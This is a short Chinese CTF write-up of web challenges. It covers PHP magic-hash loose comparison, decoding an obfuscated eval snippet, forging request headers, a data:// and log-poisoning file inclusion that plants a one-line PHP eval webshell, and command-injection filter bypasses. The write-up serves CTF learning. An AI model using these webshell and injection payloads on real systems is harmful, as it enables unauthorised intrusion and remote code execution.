【网络安全3x06】CTF8月竞赛学习----------技能竞赛 web部分writeup

技能竞赛的writeup。

php弱类型

由于php会把0e....格式的md5密文当数字0(科学计数法0的n次方依旧为0)来比对,因此会存在不同明文在php中验证md5相同的问题。

常见md5密文验证相同串:

1
2
3
4
5
6
7
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOK') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');

php代码审计

右键源码:

1
2
3
4
5
6
7
8
9
<!--
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
-->

修改源码注释符,evalecho,放在本地跑即可。

http请求头伪造

浏览器伪造

burpsuite截包:

1
User-Agent: CTF_coffee

本机IP伪造

burpsuite截包:

1
X-Forwarded-For:127.0.0.1

本机端口伪造

burp做不到了,只能换curl伪造:

1
curl http://192.167.11.11:8006/ --header 'X-Forwarded-For:127.0.0.1' --header 'User-Agent: CTF_coffee' --local-port 23333

login爆破

一般不给用户名的提示都按admin/root来试

文件包含漏洞

文件包含路径反弹shell:

1
http://192.167.11.11:8802/index.php?file=data://text/plain,<?php @eval($_POST[gt]);?>

如果被过滤,可以尝试将一句话木马写入到日志里,再对日志进行包含:

先使用burp抓包,改请求为GET <?php @eval($_POST[gt]);?>,发送即可将一句话木马写入log日志。

之后开启菜刀/蚁剑,访问包含路径http://192.167.11.11:8802/index.php?file=/var/log/apache2/access.log 即可反弹shell。

命令执行绕过

输入框只接收ip地址,回显一个ping的结果,尝试绕过执行其它命令:

  1. 分隔符:
1
2
| || & && ; 
前面加正常ip/错误ip/不加内容
  1. 查看命令:
1
cat more head tail tac less
  1. 加反斜杠:
1
cat  =>   \c\a\t
  1. 双写绕过:

针对单次过滤

  1. 写入cat命令绕过
1
2
;>cacatt #写入空文件,双写绕过cat字段过滤
;* ../key.php #*匹配第一个文件名